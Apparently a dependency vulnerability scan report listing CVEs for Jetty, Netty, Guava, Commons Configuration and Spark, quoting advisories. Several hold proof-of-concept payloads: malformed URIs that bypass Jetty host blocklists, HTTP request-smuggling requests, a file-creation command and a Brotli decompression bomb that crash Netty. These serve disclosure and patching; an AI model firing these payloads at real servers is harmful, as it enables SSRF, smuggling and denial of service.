- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
- -medium 5.3: CVE--2023--40167 Improper Handling of Length Parameter Inconsistency - - - - - - - - -
Affected range>=9.0.0
<=9.4.51
Fixed version9.4.52
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 io.netty/netty-common 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-common@4.1.96.Final
-medium 5.5: CVE--2025--25193 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.1.118.Final
Fixed version4.1.118.Final
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.063%
EPSS Percentile20th percentile
- -
Description -
- -### Summary -An unsafe reading of environment file could potentially cause a denial of service in Netty. -When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. - -### Details -A similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv -This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit. - - -### PoC -The PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00. -When the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character. - -### Impact -Impact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv - -
-
- -medium 5.4: CVE--2024--47535 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<=4.1.114.Final
Fixed version4.1.115.Final
CVSS Score5.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.024%
EPSS Percentile6th percentile
- -
Description -
- -### Summary - -An unsafe reading of environment file could potentially cause a denial of service in Netty. -When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. - - -### Details - -When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed. - -At this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. - -1 - -If netty finds this files, it reads them and loads them into memory. - -By default : - -- The JVM maximum memory size is set to 1 GB, -- A non-privileged user can create a directory at `C:\` and create files within it. - -2 - -3 - -the source code identified : -https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java - -Despite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\etc\os-release` and `C:\usr\lib\os-release`. - -### PoC - -Create a file larger than 1 GB of data in `C:\etc\os-release` or `C:\usr\lib\os-release` on a Windows environnement and start your Netty application. - -To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/) - -``` -cd C:\etc -fsutil file createnew os-release 3000000000 -``` - -4 - -5 - -The source code used is the Netty website code example : [Echo ‐ the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html). - -The vulnerability was tested on the 4.1.112.Final version. - -The security analyst tried the same technique for `C:\proc\sys\net\core\somaxconn` with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186 - -### Impact - -By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application. - -This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists. - -Client mode : - -6 - -Server mode : - -7 - -somaxconn : - -8 - -### Severity - -- Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running. -- Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents). -- Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability. -- User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings. -- Scope : "Unchanged" because only Netty is affected by the vulnerability. -- Confidentiality : "None" because no data is exposed through exploiting the vulnerability. -- Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere. -- Availability : "High" because the exploitation of this vulnerability crashes the entire java application. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) - -pkg:maven/org.apache.commons/commons-configuration2@2.8.0
-medium 6.9: CVE--2024--29133 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.509%
EPSS Percentile66th percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
- -medium 6.5: CVE--2024--29131 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile43rd percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) - -pkg:maven/com.google.guava/guava@27.0-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.071%
EPSS Percentile22nd percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) - -pkg:maven/com.google.guava/guava@30.1.1-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.071%
EPSS Percentile22nd percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 io.netty/netty-codec-http 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-http@4.1.96.Final
-medium 5.3: CVE--2024--29025 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<4.1.108.Final
Fixed version4.1.108.Final
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.261%
EPSS Percentile49th percentile
- -
Description -
- -### Summary -The `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors - -### Details -1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list. -2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits - -### PoC - -Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder - - -Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3 - -### Impact -Any Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form. - -
-
- -low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.024%
EPSS Percentile6th percentile
- -
Description -
- -## Summary -A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. - -## Details -When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). - -This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): - -``` -POST /one HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 - -POST /two HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -0 - -``` - -The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). - -## Impact -This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. - -The impact is high, but it only affects setups that use a front-end which: -1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. -2. Forwards chunk extensions without normalization. - -## Disclosure - - - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html - -## Discussion -Discussion for this vulnerability can be found here: - - https://github.com/netty/netty/issues/15522 - - https://github.com/JLLeitschuh/unCVEed/issues/1 - -## Credit - - - Credit to @JeppW for uncovering this vulnerability. - - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec@4.1.96.Final
-medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) - - - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.034%
EPSS Percentile10th percentile
- -
Description -
- -### Summary - -With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. - -### Details - -`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. - -Tested on 4.1.118, but there were no changes to the decoder since. - -### PoC - -Run this test case with `-Xmx1G`: - -```java -import io.netty.buffer.Unpooled; -import io.netty.channel.embedded.EmbeddedChannel; - -import java.util.Base64; - -public class T { - public static void main(String[] args) { - EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); - channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); - } -} -``` - -Error: - -``` -Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) - at java.base/java.nio.Bits.reserveMemory(Bits.java:178) - at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) - at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) - at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) - at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) - at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) - at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) - at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) - at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) - at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) - at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) - at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) - at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) - at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) - at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) - at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) - at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) - at io.netty.handler.codec.compression.T.main(T.java:11) -``` - -### Impact - -DoS for anyone using `BrotliDecoder` on untrusted input. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) - -pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
-medium 4.6: CVE--2025--55039 Inadequate Encryption Strength - - - - - - - - -
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.056%
EPSS Percentile17th percentile
- -
Description -
- -This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. - -Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. - -When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. - -This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. - -To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
